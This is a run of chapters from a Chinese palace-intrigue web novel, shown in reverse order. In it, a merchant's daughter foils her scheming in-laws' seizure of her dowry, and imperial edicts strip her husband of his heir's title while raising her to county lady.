叶宜蓁的眼珠子粘在五尾金丝凤钗上拔不出来,烛光下,凤钗金碧辉煌,美的惊人。 最重要的是,本朝有严格的规定,九尾凤钗由皇后佩戴,五尾凤钗由王妃佩戴,诰命夫人可佩戴三尾凤钗,民间不允许戴。 这是身份的象征,是她梦寐以求的东西。 她苦苦求而不得,却让云筝轻轻松松得到了,叶宜蓁的心被嫉妒之火灼伤。 她再也忍不住开口,“这位姑姑,云筝不敬公婆,不服夫君管教,还天天抛头露面,不着家,恐怕会辜负皇后的厚爱。” 宫女微微蹙眉,贸然开口,没规矩。“你是谁?” 自家主子很喜欢锦云乡主,因为,她只给皇后送了礼,最得宠的贵妃就没有。 为此,皇上还特意来坤宁宫跟皇后畅聊了很久,还在宫中歇下了。 这对久未承恩的皇后来说,是意外之喜。 可,眼前这女人说的什么鬼话?那股子恶意毫不掩饰。 叶宜蓁露出腼腆的笑,“我是平西侯府的大少夫人,叶宜蓁。” 宫女恍然大悟,“原来是你,皇后口谕,叶宜蓁嫉妒成性,贪慕虚荣,罚每日抄一百遍女戒,由锦云乡主监管。并,罚二 千金充做军粮。” 果然,小气的君王怎么可能放过叶宜蓁? 堂堂君王对付一个弱女子,面上不好看,那就让皇后出面惩罚。 还让对家监督她,损,太损了! 每日一百遍?不吃不喝不睡才能完成,还有,罚二千金,就是二万两银子,她哪来这么多钱? 叶宜蓁眼前一黑,气血翻涌,皇后怎么能这么对她? 不对,是狗皇帝! “哈哈哈。”云筝乐的不行。 接下来的日子,平西侯府闭门谢客,侯夫人气病了,一病不起,每天昏昏沉沉的,高烧不退。 而叶宜蓁作为儿媳妇,自然是要侍疾,为了表现,做足了功夫。 而侯夫人心情烦躁,不停的折腾儿媳妇。“叶氏,我渴了,给我倒水。” 叶宜蓁眼中闪过一丝厌烦,她昨晚熬了通宵一边抄女戒一边侍候婆婆,这会儿眼睛还是肿的,脑袋昏昏沉沉。“是。” 侯夫人一会儿嫌茶烫,一会儿嫌茶冷,怎么都不对。 叶宜蓁脸色越来越难看,却不敢吭声。 江闻舟走进来,忍不住心疼了,“娘,您别这样。” 侯夫人看谁都不顺眼,“娶了媳妇忘了娘,我算是白养你了。” 江闻舟心里不舒服,失了世子之位后,明显能感受到大家对他的态度变化。 以前是恭敬无比,如今,有了一丝敷衍。 “这样吧,我让人把云筝叫来侍疾,她也是儿媳妇。” 叶宜蓁眼中闪过一丝快意,这苦不能她一个人吃。 但,她注定要失望了,不一会儿下人就回来了。 “乡主说,很想来侍疾,但国事为重,拍卖会就在眼前,准备工作繁复无比,她脱不开身,没法来。” 叶宜蓁嫉妒的快疯了,“一个拍卖会而已,她不过是去走走过场,当吉祥物,她不会真以为自己能当大用吧?笑死人了,去,把这话告诉她。” 下人匆匆而去,匆匆而回,“乡主说,吃不到葡萄,就说葡萄酸,江二公子一个闲散公子,将来要搬出侯府的人,还是多考虑自己前程吧。” 哪疼扎哪里,一扎一个准,一句话把三个人都气坏了,可恶。 出了这样的事,各家震惊不已,议论纷纷,说什么的都有。 但,很快,户部和睿亲王即将举办拍卖会的消息就引爆全京城,接到请柬的人家高兴不已,接不到请柬的扼腕叹息,这可是身份的象征。 静雅居,是京城中最顶尖的茶楼,是达官贵人最爱来的地方。 环境优美,装潢的雅致又富有诗情画意,又有各种新鲜玩意。 今日,宾客临门,马车一辆接着一辆,把路都堵住了。 大堂内人头攒动,二楼三楼的豪华包厢内也坐满了权贵。 最豪华的包房内,户部尚书皱着眉头看着底下,“王爷,一个拍卖会而已,至于这么兴师动众吗?” 文武官员,各路勋贵,出嫁的公主府都来人了。 要知道,之前那些抄家充公的东西拍卖,通常是提前放出风声,想买的就派个下人过来。 都是打三折出售,卖完即止。 可这次,将整个茶楼包下来,请了这么多贵客,场面太大了。 厉无恙眉眼淡漠,“本王想办,你有意见?” 户部尚书默了默,“不敢。” 敲门声响起,外面传来通禀声,“锦云乡主来了。” “进来。” 云筝一袭红衣,明眸皓齿,明艳动人。 她盈盈一福,“见过殿下,见过尚书大人。” 厉无恙指了指一边的座位,“坐吧。” 云筝没有坐,而是呈上拍卖会的流程,“禀王爷,我已经全部安排好了。” 整个拍卖会都是她一手安排的,事无巨细。 厉无恙随意浏览,有些惊讶的挑了挑眉。 一边的户部尚书坐不住了,指着桌上的雨前龙井,“锦云乡主,这茶水都要收钱?” 还搞了三个套餐,茶水加点心,每一档的价格不一样,任人选择。 最高档的套餐是一百两,就一壶茶,四道茶点,这跟抢钱有什么区别? 云筝理所当然的点头,“对,吃喝付钱,不是天经地义的事吗?再说了,请的还是御厨,普通人还没有这个荣幸能吃到御膳。” “这太市侩了。” 云筝微微一笑,“三分之一的利润归户部。” 户部尚书哪里看得上这些蝇头小利,“这点小钱,我们户部不稀罕。” 厉无恙嘴角轻轻扬起,“那行,这份利润归明镜司。” 不知怎么的,户部尚书隐隐有一种不好的预感,“王爷。” 此时的他,不知道错失了什么,等发现时,后悔的肠子都青了。 云家大小姐就是善财龙女,求带!跪求!!! 接下来,就是云筝登台,大放异彩时…… 第43章 打脸,虐渣男 厉无恙的声音顿了顿,看向低着头的云筝。 “特封为锦云乡主,正三品,钦此。” 江闻舟猛的看过去,神色错愕,有没有搞错?他被剥夺世子之位,云筝却成了乡主? 按理说,女子封赏是根据夫君或儿子的官职来的,比方说,平西侯是一品侯,他的妻子就是一品诰命夫人。 可,偏偏,云筝的封赏是乡主 !而不是诰命夫人! 别看乡主不起眼,只是正三品,也没有封地,但,这是一个爵位!实打实的爵位,独立于命妇体系之外! 人家是夫贵妻荣,而他们家,妻贵,夫……废世子,被狠狠压了一头。 啊啊啊,他的自尊心碎了一地! 平西侯则想的更多,皇上这是在警告平西侯府,他虽然不能收回侯府爵位,但能换人坐,只要是江家血脉就行。 可是,他只有一个嫡子,文武双全,一表人才,最有能耐。 其他几个庶子都被养废了,担不起侯府的未来。 一想到这,他的心拨凉拨凉的,帝王心,深不可测。 得罪帝王的人,都没有好下场! 而叶宜蓁是最崩溃的,云筝算什么东西,怎么能比自己风光?她只配被自己踩在脚底下,跪舔她! 嫉妒如毒蛇般啃咬她的内心,眼睛腥血。 云筝很高兴,乡主啊,对于商贾之女来说,是更换门庭,一步踏进权贵圈子。 最重要的是,有了对抗侯府的底气。 “谢陛下隆恩。” 她笑吟吟的接过圣旨,真好看,必须供起来! 厉无恙提点了一句,“按照规矩,你要向宫中递帖子谢恩。” 这些宫中规矩,两位嬷嬷已经教给了云筝,云筝很聪明,一学就会。 再学一些礼仪就行了。 “是。” 厉无恙一本正经的颌首致意,“恭喜侯爷,贺喜侯爷,府上出了一位乡主,好好侍候着。” 这哪是贺喜,分明是打他的脸,平西侯神色僵硬,笑的比哭还难看。 “多谢王爷。” 厉无恙不再看他那张丧气脸,看向云筝。 “皇上口谕,令锦云乡主协助本王和户部举办拍卖会。” 这话一出,全场皆静,齐刷刷的看向云筝,拍卖会? 云筝神色平静,“是。” 厉无恙没有多待,带着手下乌泱泱的走了。 等他们一走,侯府上下不约而同的松了一口气,擦了擦额头的冷汗。 平西侯忍不住问道,“什么拍卖会?” 看她如此平静,应该早就接到消息,可她什么都没有透露,口风真紧。 云筝没有隐瞒,很快全京城都会知道,“我的嫁妆再珍贵,也得换成白花花的银子。” 简简单单的一句话,没有解释。 叶宜蓁满眼的不甘心,“为什么是你协助?你是女子,有什么资格?” 云筝眨了眨眼睛,无辜极了,“这个嘛,不知道啊,要不,你去问问皇上?” 叶宜蓁最恨她这个表情,装什么无辜?!明明心狠手辣。 “你是平西侯府的女眷,怎么能抛头露面?我劝你一句,女子贞静为重,还是推了这个差事吧。” 云筝一眼就看穿她的小心思,“侯爷,你儿媳妇嫉妒的发疯,连圣意都敢违抗。” 平西侯对这两个女子都不满意,一个比一个不省心,都不是好货。“叶氏,闭嘴。” 云筝眼珠一转,故意说道,“说起来,还要谢谢你和世子……啊,不对,世子之位被剥夺了,是江闻舟干的破事,才让我一步登天,你们真的是我的贵人。” “要不是你们骗婚兼祧两房,我也不会上交一半的嫁妆。” “要不是江闻舟抢我嫁妆,吃了皇上的血参,抢了太后和皇后娘娘的珍宝,也不会被皇上厌弃。” “要不是叶宜蓁闹到明镜司,皇上也不会格外开恩,赐我一个乡主之位。” 字字如淬了毒的箭,射中两人的心脏,气的浑身发抖。 杀人诛心!一想到是他们成全了云筝,就难受的发疯。 但,又如何呢,云筝冲他们笑的可欢了。 平西侯看在眼里,眉头紧皱。“云氏,我看九千岁对你颇为和善,要不,帮侯府求求情吧。” 江闻舟心里一动,“云筝,你帮我在九千岁面前说说好话,求他帮帮我,我真的不能失去世子之位。” 云筝冷笑一声,“我为什么要帮你?就凭你百般折辱我?凭你砸我的院门?凭你抢我的嫁妆?” 她是什么很贱的人吗? 江闻舟恼羞成怒,“别忘了,夫贵妻荣,我身居高位,你才能风光。” 云筝看着这个虚伪自私的男人,直接撕破他的脸皮,“到时风光的是叶氏,而我,只会被你关在后院,被你利用殆尽。” 她说中了真相,江闻舟气极败坏道,“你这是被嫉妒蒙蔽了眼睛,云筝,你这辈子只能靠我,若我不是世子,你就当不了世子夫人。” 云筝高高昂着脑袋,趾高气扬,嚣张的不得了,“叫我乡主,按规矩,你一个没有品级的侯门公子,应该给我行礼问安,快点!” 江闻舟:……想骂人! 打死他,都不会给这个心胸狭窄的女人行礼。 平西侯看在眼里,冷喝道,“闻舟,行礼。” 他算是看出来了,云筝很记仇,睚眦必报,受了一点委屈,就要当场讨回来,绝不过夜。 这是在报复刚才砸门欺辱她一事。 以前,江闻舟还能倔强一下,可现在,世子之位不保,他得抱紧父亲的大腿。 他不得不低头,向云筝行礼。 这一刻,前所未有的屈辱如潮水般涌上来,让他红了眼睛。 心中暗暗发誓,他一定要不择手段往上爬,将所有人踩在脚底下,尤其是云筝! 叶宜蓁眼中全是狠毒之色。 云筝看在眼里,全然不惧。 她能打败他们一次,就会有第二次,第三次! 作吧,闹吧,闹到一无所有吧! 李嬷嬷急急的跑进来,“乡主,坤宁宫来人了,皇后娘娘派人来了。” 侯府诸人齐刷刷的看向云筝, 又是什么事? 叶宜蓁忽然想起那顶璀璨的珍珠凤冠和裁剪好的绫罗绸缎,心里一紧,不会是来兴师问罪的吧? 云筝一脸的茫然,她也不知道啊,“快请。” 第42章 三道圣旨,绝杀! 平西侯府,侯夫人哀声叹气,神色沮丧极了。 云筝带过来的嫁妆都被抬走了,只留下一些田产和店铺,还有她的日常用品。 前者动不了,后者再奢侈也只是私人用品,不能卖,也不能转送,更不能拿来自用。 想想就憋屈。 “早知这样,就不该煞费苦心将她娶进门。” 什么好处都没有捞到!侯府的亏空就在眼前,可怎么办呀? 平西侯也没有料到云筝的反抗如此激烈,宁愿舍了,也不愿意给夫家,这般绝决让他气恼不已。 “闻舟,我说最后一次,不把她哄的回心转意,就等着家法处置吧。” 江闻舟沉默不语,神色倔强。 侯夫人心疼儿子,“侯爷,那贱人哪配?” 平西侯也不想委屈儿子,但实在没办法。 “云筝此次捐献嫁妆,一定会有奖赏的,侯府想沾光,就得哄着她捧着她。” 江闻舟心中充满怨恨,全怪云筝搞事情,害的他两手空空,算盘落空,白高兴一场。 “她太桀骜不驯,我实在受不了。” 平西侯对他没有了耐心,“那行,不想哄,就别当世子了。” 江闻舟母子闻声色变,“父亲,就一个商贾之女,至于吗?” 平西侯神色严肃,“云家有钱,云父年纪还不老,凭他的经商手段,会更有钱,眼光要长远些。” 江闻舟秒懂,这是让云父给侯府卖命,所挣的每一分钱都流向侯府。 这比直接杀了云家夫妻,夺取云家的家产,更有价值。 他沉默了半响,想明白了,“是,父亲,我听您的。” 平西侯知道儿子成长过程太顺了,心高气傲,吃点亏有好处。 “至于叶宜蓁,冷她一段时间,给她一个教训。“ ”是。” 平西侯见他如此听话,心中很安慰,“走,我和你娘送你去春晓院住。” 江闻舟心里升起一丝逆反,逼着他娶亲,还要押着他洞房,烦! 他是人,有思想的人,不是畜生。 但,他不敢说什么。 春晓院,院门紧闭,云筝已经梳洗后躺下了,脑子里不停的复盘。 外面传来敲门声,先是江闻舟喊门,接着是平西侯夫妻轮流喊。 云筝只当没听到,翻了个身,继续睡觉。 侯夫人不敢置信的看着紧闭的大门,里面一点动静都没有?都睡死过去了? “砸,给我砸,今晚非洞房不可。” 院门轰然倒下,一行人如狼似虎的冲进去,云筝眉头微蹙,翻身而起,将枕头下的匕首扯出来,放进怀里。 大晚上的不睡觉,干嘛呢? 紫烟(是武婢紫云,避云筝的名讳,特改名)飞速走过来,挡在她前面,手扣在鼓鼓的腰间,严阵以待。 侯夫人带着江闻舟闯了进来, “儿媳妇,你们新婚几日还没有洞房,这不合规矩,今晚,你们就喝了合卺酒,行完夫妻之礼。” 云筝气笑了,还能强迫别人洞房?没有最不要脸,只有更不要脸。 “我又不是收破烂的,脏的臭的,往自己屋里拉。” 这话太难听了,如一巴掌打在江闻舟脸上,骄傲的他哪里受得了,当场就炸了。 “今晚,我要行使丈夫的权利,你不肯也得肯,别敬酒不吃吃罚酒。” 等会,就在床榻上将云筝折磨的不成人样,看她还怎么嚣张。 一个女人,怎么敢强过男人?倒反天罡了! 他气势汹汹的看向四周奴婢,大声喝道,“闲杂人等统统滚出去,本世子不喜欢行房时,有人在旁边围观。” 他手指着最前面的紫烟,“滚滚滚。” 紫烟站着不动,江闻舟手持长剑,挥向紫烟,紫烟冷静的可怕, 不闪不避,嗖的抽出长剑。 云筝眼中闪过一丝寒光,手伸进怀里,触到硬梆梆的匕首。 想死,是吧? 就在此时,一道惊恐的声音响起,“侯爷,九千岁带着人前来宣旨了。” 侯府上下齐齐变了脸色,大晚上的宣旨,不会是抄家吧? 江闻舟的手悬在空中,猛的扭头,满眼的慌乱。 平西侯强自镇定,“来人可有透露,是什么事?” “不知。” 一行人换上正装,匆匆赶往正厅,还没有进门,就看到黑压压的明镜司官兵守在门口。 侯夫人的腿一软,差点晕过去。 平西侯脸色变了几变,按理说,皇上再生气,也不能削了侯府的爵位,否则,就是大不孝。 他深吸一口气,踏进正厅,一个坐轮椅的男人冷冷的看着他,后面一排全副武装的侍卫,气势汹汹。 他的腿一软,不由自主的跪下去,额头冒汗,“参见九千岁,九千岁金安。” 厉无恙面色冷戾,“平西侯接旨。” 侯府上下齐刷刷跪下,头都不敢抬,心中直打鼓,不会真要抄家吧。 厉无恙淡淡扫视了一圈,“云家大小姐呢?” 侍立在他身后的谷雨冷声说道,“有一道圣旨是给云家大小姐的。” 平西侯着急的吩咐下去,“快把她叫来。” 云筝匆匆而来,也换上了隆重的正装,二话不说就跪下,抬头看了一眼。 厉无恙正好看过来,见她气色红润,不像是吃亏的样子,暗暗松了一口气。 “奉天承运,皇帝诏曰:平西侯世子江闻舟,不思皇恩,目无君王,废除世子之位,另择贤能,钦此。” 江闻舟如五雷轰顶,猛的抬头,不敢置信地望着对方,眼里的惊慌之色难以掩饰。 不会的,一定是他听错了?世子之位岂能随意废除? 另择贤能?世子之位拱手让给庶弟们?不,不行,他不答应! 他只是抢了嫁妆,不小心用了一片千年血参,不,明明推到云筝身上了,为什么皇上还怪罪他? 是,谷雨在背后搞小动作?一定是他!可恶! 这还没完呢,厉无恙又拿出一份圣旨,当场宣读。 “奉天承运,皇帝诏曰:平西侯江振教子无方,枉为人臣,革除所有职务,在家思过,钦此。” 平西侯身体晃了晃,脸上血色瞬间褪去,浑身遍体发冷。 本来就空有虚名的爵位,没有实权,已经在走下坡路,如今,挂的虚职也被剥夺,被圈禁在家中,失去自由,没有了未来。 这就是帝王之怒,谁让帝王不高兴,帝王让你全家都倒霉。 “扑通”一声,侯夫人晕了过去,脸色青白的像个死人。 厉无恙视若无睹,又拿出一卷圣旨,“奉天承运皇帝诏曰:云氏女云筝捐献嫁妆有功,特封为……” 第41章 一顿胖揍 内室,叶宜蓁闭着眼睛躺在床上,心情乱糟糟的,这跟她想象的不一样。 怎么会走到这一步?自从云筝嫁进侯府后,一切都失控了。 对,都怪云筝!就不该让她进门! 一道熟悉的脚步声响起,她微微睁眼看过去,是江闻舟走了进来,翻箱倒柜,不知在找什么。 她看着江闻舟翻出那一顶流光溢彩的珍珠凤冠,不禁急了。 她撑起身体,坐起来,温温柔柔的开口。 “夫君,你拿着珍珠凤冠去哪?不是说给我添妆吗?我真的好喜欢这顶珍珠凤冠。” 一百多颗南海明珠晶莹剔透,光华圆润,夜明珠更是罕见,珍贵无比。 还非常符合她的审美,低调的奢华,配上她如兰空灵的气质,衬的她像天仙似的。 她第一眼就狂热喜欢上了这一顶凤冠,故意撺掇江闻舟去抢来。 江闻舟看了她一眼,轻轻叹了一口气,“这是云氏进献给太后之物。” 叶宜蓁如被挖了心肝般疼,“什么?她疯了?这么贵重的东西送人,她怎么舍得?” 这是她的!她的! 江闻舟现在自身难保,顾不上安抚她了,“还有,那软烟罗,蝉翼纱呢?” 他是男人,不关心这些绫罗绸缎,抢到手后全交给了叶宜蓁处理。 软烟罗轻盈柔和,美的烟雾般,一匹万金。 蝉翼纱轻薄无比,最适合夏天穿,大部分都作为贡品送进宫中。 之前,叶宜蓁只见过,却从没有机会穿过这么好的衣裳,侯府穷,只供她吃穿,却不会供她奢侈享乐。 所以,她一得到这些金贵的衣料,迫不及待的为自己量身裁剪,想参加宴会时艳压全场,一举夺魁。 “都裁了,照着我的身材裁了,难道……”她的心一抖,“也要进上?” 江闻舟微微点头,“对,宫中让人来拿。” 叶宜蓁整个人都不好了,“可,裁了怎么办?要不,就说……被云筝弄丢了,她是云家女,就算出了错,宫中也不会怪她的。” 她心里慌的不行,拼命将责任推到云筝头上。 “哎,她太自私了,怎么能只顾媚上,却不顾及夫家的利益呢?这些东西能让侯府更上一层楼,能让夫君官复原职啊。” 江闻舟狠狠泄愤,“她是商贾之女,没有远见,没有大局观,远远比不上你。” 春晓院,谷雨大人听完江闻舟的话,心中暗骂无耻,随后转头看向云筝,“你弄丢了?” 平西侯冲云筝使了个眼色,“儿媳妇,丢就丢了,小事一桩,把东西补上就行。” 这是让云筝认了这个哑巴亏,还要她拿出东西填窟窿。 云筝呵呵一笑,“一匹软烟罗价值万金,一年也就产出十匹,被达官贵人分一分就没了。我家费尽心思,也才搜罗到二匹,我不敢用,悉数进献给宫中。” 李嬷嬷凉凉的说道,“我亲眼看到世子抢走了两匹软烟罗,两匹蝉翼纱,也不知一个大男人要这些何来?” 季嬷嬷跟着踩了一脚,“当然是送给心上人,讨她欢心喽。” 两人都被世子和叶氏得罪狠了,一踩一个准。 江闻舟也是个不要脸的,“李嬷嬷,你记错了,我没拿。” 事情就僵住了,江闻舟以为能糊弄过去时,谷雨大人发话了,“既然都不承认,那就查抄侯府。” 平西侯脸色大变,“不,不行,我不允许,若传出去,还不知道我们侯府犯了什么罪。” 谷雨冷冷的看着他,“你确定?” “是,除非我死。” 谷雨大人转身就走,“我这就去宫中禀报,讨一道旨意。” 平西侯大惊,赶紧上前拦住他的去路,低声下气的哀求。 谷雨大人不为所动,“侯爷,你是聪明人,但我也不笨,想糊弄我,害我办差不利,我就让他这辈子都没脸见人。” 平西侯知道糊弄不过去,不禁急了,“闻舟,你是自己取?还是我亲自查抄?” 江闻舟闭了闭眼,知道躲不过去,“我来。” 不一会儿,他就回来了,手中捧着不少东西。 看到裁剪好的衣料,大家都惊呆了,啧啧啧。 “呵呵。”谷雨大人冷笑一声,“千年血参呢?” 江闻舟默默拿出锦盒,“在这里。” 谷雨大人打开一看,瞳孔剧缩,不禁急了,“这是怎么回事?怎么是残缺的?” 他知道皇上最看重这一支千年血参。 江闻舟理直气壮的说道,“到我手里就这样了,云筝,是你干的吧,效果怎么样?” 云筝气笑了,将屎盆子扣在她头上,这是仗着口说无凭,没有证人,是吧? 她只说了一句,“大人,我没有动过,进门时还是完整的,到了世子手里,就残缺了,请大人明查。” 江闻舟强忍着怒火,露出一丝温柔的笑,“云筝,这本是你的嫁妆,你用了也没人怪你。” 这是让云筝认账。 云筝看都没看他一眼,帮着一起清点嫁妆,她有经验,又很熟悉这些物件,流程很快。 江家父子面面相觑,心里着急万分。 点完嫁妆,谷雨大人带着手下走了,云筝也跟了出去。 等人一走,平西侯就一巴掌打在儿子脸上。“啪。” “父亲。” 平西侯气的面红耳赤,“东西一到手,你们就迫不及待的享用,一副没见过好东西的穷酸相,你们要害死侯府了。” 江闻舟心中不安,但,嘴巴很硬,“父亲,平西侯府世袭罔替,与国同休,不会有事的。” 平西侯气不打一处来,又是一顿胖揍。 “你说什么?再说一遍。”宫中,响起皇上震惊的声音。 宫中,谷雨大人呈上进献的宝贝,还如实讲述了在平西侯府发生的事。 “嫁妆都被世子抢走,送给叶氏把玩,讨她欢心,那四匹绸缎一到叶氏手里,就照着她的身材裁剪好了,还扯谎说,是云家大小姐弄丢了,当着我的面逼她认下,太嚣张了。” 皇上不在乎这些绸缎,但,这行为视作对皇室不敬。 “呵呵,叶氏,又是叶氏,活脱脱一副落破户的嘴脸,难怪,平西侯府不肯只娶她一人过门。” 当看到缺了一角的血参,皇上勃然大怒,“这是什么回事?” 谷雨大人不敢抬头,“千年血参……据我查验,是江世子享用了。” 他小心翼翼的加了一句,“世子似乎已经将这些东西当成自己的,颇有怨愤。” “呵呵。”皇上眼中闪过一丝怒火,“看来是有恃无恐,笃定朕不能违背祖宗的话,不能削了平西侯府的爵位。” 不能削爵,但有的是恶心人的办法! “传朕旨意……” 听着皇上的话,谷雨微讶,好狠!这三道旨意一出,平西侯府完了! 记住,得罪谁,也不能得罪皇帝,尤其是心眼小的皇帝。 皇上余怒未消,“谷雨,你连夜去平西侯府宣旨,一刻都不得耽搁。” “是。”谷雨退出时,嘴角轻轻上扬,今晚注定是腥风血雨! 第40章 云筝,你居然敢算计我 谷雨大人淡笑不语,看向一边的云筝。 平西侯心思飞转,笑容满面的说道,“云筝,这几样东西都可以作为传家宝,传给下一代,你可要好好保存。” 云筝眼中闪过一丝淡淡的嘲讽,他真的不知道这些东西被江闻舟抢走了?虚伪! “这是我云家特意进献给帝后和太后的礼物,皇上已经知道了。” 划重点,是云家,而不是平西侯府,别来沾边。 谷雨大人补上一刀,“皇上很喜欢,特让我来取。” 平西侯父子如五雷轰顶,眼前一阵阵发黑,完了,全完了。 皇上已经知道了?那,谁还敢跟皇上抢东西? 不对,皇上是怎么知道的?云筝是怎么绕过侯府,往上递的东西? 江闻舟的心脏如被一只不知名的大手紧紧拽住,呼吸都有些困难,气急败坏的怒吼。 “云筝,你怎么能擅作主张?” 他已经把那些价值连城的宝贝当成自己的,打算拿来送的,用来施恩的,自用的,安排的妥妥当当。 可,他所有的如意算盘都被云筝击的粉碎,从刚才的踌躇满志,到如今的绝望,他要疯了! 云筝神色淡淡的,她不想当血包,更不想被这些无耻之辈当成垫脚石。 “要不,您去跟皇上说,我们不进献了,只想自己享用。” 她敢说,江闻舟不敢做,除非他不想活了。 但,江闻舟不甘心啊。 “你为什么这么做?有没有考虑过侯府的感受?” 云筝微微一笑,“我的嫁妆,想送谁就送谁,你管得着吗?太后娘娘仁慈宽厚,君王英明睿智,皇后娘娘端庄高贵,我就想表表心意,你有意见?” 说白了,她宁愿送人,也不愿意给平西侯府,这些人喝她的血吃她的肉,还嫌不好吃。 她的嫁妆是好抢的?直接釜底抽薪,一拍两散。 只要好好活着,千金散尽还复来,有了钱还怕买不到好东西吗? “你……”就算有意见,江闻舟也不敢说出口,得罪了这三位大佛,还有什么好日子过? 平西侯及时打断道,“侯府上下没意见,你送,等于我们侯府送,都是一家人。” 得,这种时候还想将功劳揽在自己身上,精的跟猴子似的。 云筝没有辩驳,这有什么好争的?接下去,她有了全盘计划。 谷雨大人不耐烦的催促,“东西呢?快点,我要进宫复命。” 云筝看向江闻舟,凉凉的问,“世子,千年血参呢?这是进献给皇上的,珍珠凤冠呢?这是进献给太后娘娘的,金风朝阳红宝石头面,是进献给皇后娘娘的,啊,还有那软烟罗,蝉翼纱,都在进献名单上,写的清清楚楚。” 她每说一样,江闻舟的眼睛就瞪大一分,这都是他抢走的嫁妆。 这绝对不是巧合! “云筝,你居然敢算计我!” 谷雨大人来了兴趣,“算计?什么意思?云大小姐,你的嫁妆怎么跟世子要?” 云筝轻轻叹了一口气,“哦,世子砸开库房,将他看上的东西都拿走了,我也不敢多问,可能这是上流勋贵圈子的规矩吧。” 这阴阳怪气,也是没谁了。 谷雨大人很震惊,江闻舟这是疯了吗?还是平西侯府穷疯了? “哪个勋贵会抢妻子的嫁妆?我怎么从来没听说?嗯,可能是我孤陋寡闻了了,有机会问问京中各府,到底有没有这条规矩。” 云筝笑眯眯的道,“有结果了,跟我说一声,也让我开开眼界。” 两人一唱一和,把平西侯府的脸狠狠踩在脚底下摩擦。 这要是传出去,满城勋贵会恨死平西侯府,他们丢人现眼,别带上别人。 平西侯神色骤变,急中生智,“是误会,不是闻舟,是……大房的媳妇叶氏身体不好,手下自作主张去求云筝舍药,没成想云筝不在府中,她手下一时情急,就砸了库房。” 他将事情推到叶宜蓁头上,保全自己的继承人。 不得不说,他是千年老狐狸,太精了。 江闻舟张了张嘴,想为叶宜蓁辩驳,但看到父亲严厉的眼神,到嘴的话咽了回去。 罢了,反正叶氏名声太差,再差也就那样,大不了他对她更好些。 谷雨是一个字都不信,皮笑肉不笑。 “叶氏的手下指使绑架,叶氏的手下抢药,叶氏好无辜……啊,不对,她杀了人, 下一次,不知会干出什么缺德事?” 他冷嘲热讽,说话很难听,但,平西侯面色不变,“我会严加管教,绝不会再有这种事发生,还请谷雨大人开恩,莫要对外传。” 谷雨大人淡淡瞥了他一眼,“我会如实向皇上禀告。” 平西侯的心一沉,浑身发冷,皇上看似宽厚,其实心胸极为狭窄。 动了他的东西,他可不会善罢甘休。 他忍不住迁怒儿子,不听劝,非要明抢嫁妆,这不,出事了吧? 跟他说了好几遍,要用情控制云筝,让她心甘情愿为侯府付出。 到时,再生一个孩子,还怕她不掏心掏肺吗? “闻舟,还站着干吗?快去跟叶氏讨要东西。” 江闻舟不敢再拖延,匆匆赶往梧桐院,打开库房。 这一半是他私自掏钱给叶氏置办的嫁妆,都是寻常之物。 一半是他从云筝那边抢来的,都是奇珍异宝,差一点的都看不上。 像八大山人的《花鸟图》,韩滉的的《五牛图》都是传世珍品,可遇不可求的宝贝。 这《五牛图》他打算送给首辅,帮他官复原职。 这《花鸟图》他打算送给青云书院的院长,那是文坛领袖,朝中大半的文官出自他门下,有着极大的影响力。 他想让院长收叶宜蓁为义女,到时,被败坏的名声挽回了,地位有了,那些文官也会护着他和叶宜蓁。 一举数得。 可,现在,全上交!他的算盘落空了! 他呼吸急促,额头青筋一跳一跳的,面色狰狞,心在滴血。 云筝,这个祸害,为什么不肯乖乖当他的垫脚石?为什么不肯被吸血?怎么不去死?! 她怎么敢反抗?怎么敢? 他将墙上的字画取下来,按下一个暗钮,一个暗屉出现在眼前。 他小心翼翼的取出紫檀木的锦盒,打开盒子,一支千年血参映入眼帘。 原本完整的血参,被切了一个口子,少了! 他的双手不由自主的发抖,脸色惨白如纸,站都站不稳。 眼下这一关,怎么过?千年血参,他动了,吃了一片! 皇上要是知道,会很生气!会处罚他! 怎么办?不行,他得自救! 忽然,他脑海里闪过一个念头…… 第39章 发难了 侯府,梧桐院 叶宜蓁被抬回来,满院上下忙的不可开交,端茶送水,梳洗,换衣服,叫大夫,忙的团团转。 府医被叫来,诊了诊脉,说了一句,“惊悸过度,受了刺激,安神汤喝几日,好生养着,否则容易留下隐患。” 本来还心存芥蒂的江闻舟一听这话,顿时心软了。 “很严重吗?” 府医换了一只手诊脉,“是,身边要有人,时时守着,晚上极有可能会发高烧,就是……” 江闻舟一想到叶宜蓁被迫杀人,还是杀的是心腹,她还不敢露出伤心之色,一个人强撑着,就心疼万分。 “您说。” 府医收回手,神色凝重,“大少夫人或许已经怀了身孕,倒是不好下重药。” 江闻舟心里一咯噔,“请您多费心了,药房的药材您尽管取,请一定要治好叶氏。” “啊,对了,我有千年血参,可否入药?” 府医眼睛刷的亮了,“那是绝好的宝贝,就算只有一口气,也能吊住,无须多,一点点就能让大少夫人护住心脉,百病不侵。” 江闻舟精神一震,“那,我让人去取。” 外面传来平西侯威严的声音,“曾大夫,你出来,我有话说。” 府医不假思索的拿起药箱出去,江闻舟迟疑了一下,跟了上去。 院子里,平西侯站在一棵石榴树下,负手而站,气势不凡。 他跟府医说了几句话,府医就默默离开了。 江闻舟见状,有些不悦的上前,“父亲,先救蓁蓁要紧……” “啪。”一巴掌挥在江闻舟脸上,江闻舟快要疯了,为什么又挨打? 平西侯冷冷看着他,“就让叶氏自生自灭,你不要管她。” 江闻舟哪里舍得,据理力争,“父亲,她是您的儿媳妇,是侯府明娶正娶的大少夫人。” 平西侯冷笑一声,“下人做出那样的事情,叶氏是最大的利益获得者,你真觉得她无辜吗?” 江闻舟迟疑了一会儿,“我相信她,她都吓病了。” 平西侯对他很失望,如此儿女情长,真的能将侯府发扬光大吗? 或许,该再看看其他庶子? 可恨的是, 那些庶子被妻子打击的小家子气,畏畏缩缩,没有什么本事。 哎,若是长子闻周活着,该有多好啊。 “好好好,那你记住,以后管好她,再闹到明镜司, 我平西侯府就容不下她。” 江闻舟听懂了他的言下之意,心里一凛,“我知道了。” 平西侯深吸一口气,“你哪来的千年血参?” “我……”江闻舟犹豫了一下,“去春晓院拿的。” 平西侯快被他气死了,说是拿,其实是抢吧,以云筝的性格,能饶了他? “我警告过你,凡事不要冲动,不要去招惹云筝,让你好好待她,用情控制她,你怎么不听?” 江闻舟骄傲惯了,可不想低声下气讨好一个女人。 “您放心,云氏是侯府的人,拿她一点东西用是看得起她,就算这官司打到御前,也挑不出我什么毛病。” “父亲,我们侯府的名声被云氏毁的差不多了,这是补偿,天经地义。经此一事后,我认为做人没必要太体面,实惠到手就好,血参我已经用过一片了,精神好了很多。” 